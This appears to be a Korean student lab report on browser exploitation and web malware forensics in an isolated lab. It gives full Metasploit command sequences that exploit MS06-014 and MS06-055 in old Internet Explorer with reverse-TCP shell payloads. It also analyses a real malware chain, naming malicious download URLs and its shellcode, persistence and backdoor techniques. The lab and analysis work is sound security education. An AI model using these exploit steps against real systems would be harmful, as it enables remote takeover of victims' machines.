웹 브라우저 침투 및 악성코드 분석 실습

본 문서는 웹 브라우저를 대상으로 한 침투 공격 실습과 그에 따른 악성코드 분석 과정을 상세히 기술합니다. Kali Linux 공격 환경과 Windows 대상 환경을 구축하여 실제적인 공격 시나리오를 구현하고, 분석 도구를 활용하여 악성코드의 작동 방식을 파악하는 데 중점을 둡니다.

1. 실습 내용

1.1 웹 브라우저 침투 공격

Kali Linux 공격기와 Windows 대상 시스템을 이용하여 웹 브라우저 침투 공격을 수행했습니다. Metasploit 프레임워크의 MS06-014 취약점 공격 모듈을 사용하여 원격 쉘 연결을 목적으로 하는 페이로드를 구성했습니다. 공격 서버 IP, URL 등 관련 파라미터를 설정하여 악성 웹페이지 스크립트를 생성한 후, 대상 시스템의 웹 브라우저에서 해당 URL에 접속하도록 유도했습니다. 공격 성공 후 생성된 원격 세션을 통해 대상 시스템에 명령을 실행하고 제어하는 과정을 실습했습니다.

1.2 포렌식 분석: 웹 악성코드 공격 시나리오 분석

웹 악성코드 공격 시나리오에 대한 포렌식 분석을 진행했습니다. 'start.html' 파일을 시작으로, 해당 파일에서 참조하는 'new09.htm' 파일의 주소를 파악했습니다. 이후 새로운 파일 주소를 분석할 때마다 해당 URL의 32비트 MD5 해시값을 계산하여 파일명으로 사용하고, 해당 파일을 다운로드했습니다. 다운로드한 파일이 웹페이지나 스크립트 파일인 경우 복호화 및 분석 작업을 반복했으며, 실행 파일의 경우 정적/동적 분석 기법을 적용했습니다. 이러한 과정을 반복하여 모든 연관 파일을 분석 완료했습니다.

1.3 공격/방어 실습: 웹 브라우저 침투 공격

공격자와 방어자 역할을 나누어 웹 브라우저 침투 공격에 대한 대응 훈련을 실시했습니다. 공격팀은 Metasploit을 활용하여 두 가지 다른 웹 브라우저의 보안 취약점에 대한 공격 코드를 작성하고, 코드 난독화 및 암호화를 적용한 후 악성 링크를 생성했습니다. 생성된 링크는 일반적인 이메일 형태로 방어팀에 전달되었습니다. 방어팀은 수신된 이메일에서 악성 링크를 추출하여 난독화를 해제하고 원본 공격 코드를 복원하여, 해당 코드가 특정 브라우저의 어떤 취약점을 이용하는지 분석했습니다.

2. 실습 과정

2.1 웹 브라우저 침투 공격

실험 환경:

  • Kali Linux: 192.168.200.7
  • WinXP attacker: 192.168.200.3
  • Win2k Server: 192.168.200.8

공격 절차:

  1. Kali Linux와 대상 시스템 간 네트워크 연결 확인.
  2. Metasploit 콘솔 실행: msfconsole
  3. MS06-014 관련 모듈 검색: search MS06-014
  4. MS06-014 취약점 공격 모듈 선택 및 옵션 확인:
    use exploit/windows/browser/ie_createobject
    show options
  5. 필요한 파라미터 설정 및 공격 실행:
    set payload windows/shell/reverse_tcp
    set LHOST 192.168.200.7
    exploit
    (LPORT는 기본값 4444 사용)
  6. 공격 성공 후 생성된 악성 URL: http://192.168.200.7:8080/PynsHYX5
  7. 대상 시스템(WinXP attacker)의 IE 브라우저에서 해당 URL 접속.
  8. 공격기(Kali Linux)에서 세션 생성 확인 및 원격 쉘 접속:
    sessions -i 1
  9. 대상 시스템 정보 확인:
    ipconfig
    ver
    dir

2.2 포렌식 분석: 웹 악성코드 공격 시나리오 분석

  1. 'start.html' 파일을 텍스트 편집기로 열어 'new09.htm' 참조 확인.
  2. 'new09.htm' 파일 분석 결과, iframe을 통해 'kl.htm'을 로드하고, script 태그로 '1299644.js'를 호출함을 확인.
  3. 참조된 URL의 MD5 해시값 계산:
    echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum
    echo -n "http://js.users.51.la/1299644.js" | md5sum
  4. 계산된 MD5 해시값을 파일명으로 하는 파일 다운로드 및 분석.
  5. 'kl.htm' 파일 분석 결과, XXTEA 및 Base64 암호화 적용 확인. 복호화 키 'script' 획득.
  6. 암호화된 JavaScript 코드 복호화 및 분석.
  7. 복호화된 JavaScript 코드에서 추가로 참조되는 악성 URL 목록 확인:
    • http://aa.18dd.net/aa/1.js
    • http://aa.18dd.net/aa/b.js
    • http://aa.18dd.net/aa/pps.js
    • http://down.18dd.net/bb/bd.cab
  8. 각 URL의 MD5 해시값 계산.
  9. '1.js' 파일 분석: ActiveX 컨트롤을 이용한 원격 코드 실행 취약점을 이용하여 '014.exe' (MS06-014 공격 페이로드)를 다운로드하고, 시스템 파일로 위장하여 실행.
  10. 'b.js' 파일 분석: Heap Spray 및 Shellcode 삽입 기법을 사용. 코드가 난독화되어 있으며, 실행 시 메모리에 악성 코드를 주입하여 원격 악성코드 다운로드 및 실행.
  11. 'pps.js' 파일 분석: 악성 ActiveX 컨트롤을 로드하여 버퍼 오버플로우 취약점을 트리거하고, 내장된 Shellcode를 실행하여 원격 악성코드 다운로드 및 실행.
  12. 'bd.cab' 파일 및 관련 실행 파일 ('14.exe', 'bf.exe', 'pps.exe', 'bd.exe') 분석:
    • 'bf.exe', 'pps.exe', 'bd.exe'는 동일한 파일의 복사본임을 확인.
    • '14.exe'는 레지스트리 수정을 통한 자동 실행, CLSID 위조, 시스템 디렉토리 위장, 창 후킹 등 다양한 기법을 사용하여 악성코드의 지속적인 실행 및 은닉 기능을 제공.
    • 'pps.exe'는 다수의 원격 악성코드 다운로드, AutoRun을 통한 전파, 시스템 시간 변조, IE 취약점 이용, 서비스 백도어 구축 등의 기능을 포함하는 웹 악성코드 다운로더.

2.3 공격/방어 실습: 웹 브라우저 침투 공격

  1. Metasploit을 사용하여 MS06-014 취약점 공격 코드 생성 및 실행:
    msfconsole
    use exploit/windows/browser/ie_createobject
    set payload windows/shell/reverse_tcp
    set SRVHOST 192.168.200.7
    set SRVPORT 8080
    set LHOST 192.168.200.7
    set LPORT 4444
    exploit
    생성된 악성 URL: http://192.168.200.7:8080/gxBlkEV
  2. Metasploit을 사용하여 MS06-055 취약점 공격 코드 생성 및 실행:
    use exploit/windows/browser/ms06_055_vml_method
    set payload windows/shell/reverse_tcp
    set SRVHOST 192.168.200.7
    set SRVPORT 8081
    set LHOST 192.168.200.7
    set LPORT 4445
    exploit
    생성된 악성 URL: http://192.168.200.7:8081/NU6pgfH1MYaB
  3. 대상 시스템(IE 브라우저)에서 생성된 두 개의 악성 URL 접속.
  4. 접속된 URL의 소스 코드 분석.
  5. 소스 코드 압축 해제 및 분석:
    • MS06-014 취약점 URL: JavaScript 문자열 난독화 기법을 사용하여 WScript.Shell, ADODB.Stream 등 ActiveX 객체를 생성하고, 취약한 ActiveX 컴포넌트를 이용해 악성 페이로드를 다운로드 및 실행.
    • MS06-055 취약점 URL: 악성 웹페이지의 "난독화 쉘" 역할을 하며, 실제 공격 로직을 숨기고 구형 IE 브라우저에서 취약점 공격 코드가 실행되도록 함.
  6. 대상 시스템 작업 관리자에서 랜덤한 이름의 프로세스('xPfnzdssInAuVJp') 및 IE 프로세스 메모리 점유율 증가 확인. 이는 공격 성공을 의미함.

3. 학습 중 발생 문제 및 해결

  • 문제: MS06-055 취약점 공격 시 'Handler failed to bind to 0.0.0.0:4444: The address is already in use' 오류 발생.
  • 해결: MS06-014 공격 시 4444 포트가 이미 사용 중이었음. 포트 번호를 4445로 변경하여 문제 해결.

4. 실습 요약

이번 실습을 통해 웹 브라우저 침투 공격 및 방어 과정을 경험했습니다. Metasploit을 활용하여 MS06-014 취약점을 이용한 악성 웹페이지 생성부터 대상 시스템 제어권 확보까지의 전 과정을 이해했으며, MD5 해시, 복호화, 디버깅 등 다양한 기법을 사용하여 웹 악성코드의 다층적인 구조와 분석 방법을 익혔습니다. 또한, 코드 난독화의 은밀성과 구형 브라우저의 취약점이 초래하는 위험성을 직접 확인하며, 웹 브라우저 보안 강화와 악성코드 분석의 중요성을 다시 한번 깨달았습니다.

태그: Metasploit ms06-014 ms06-055 activex JavaScript

8월 10일 19:46에 게시됨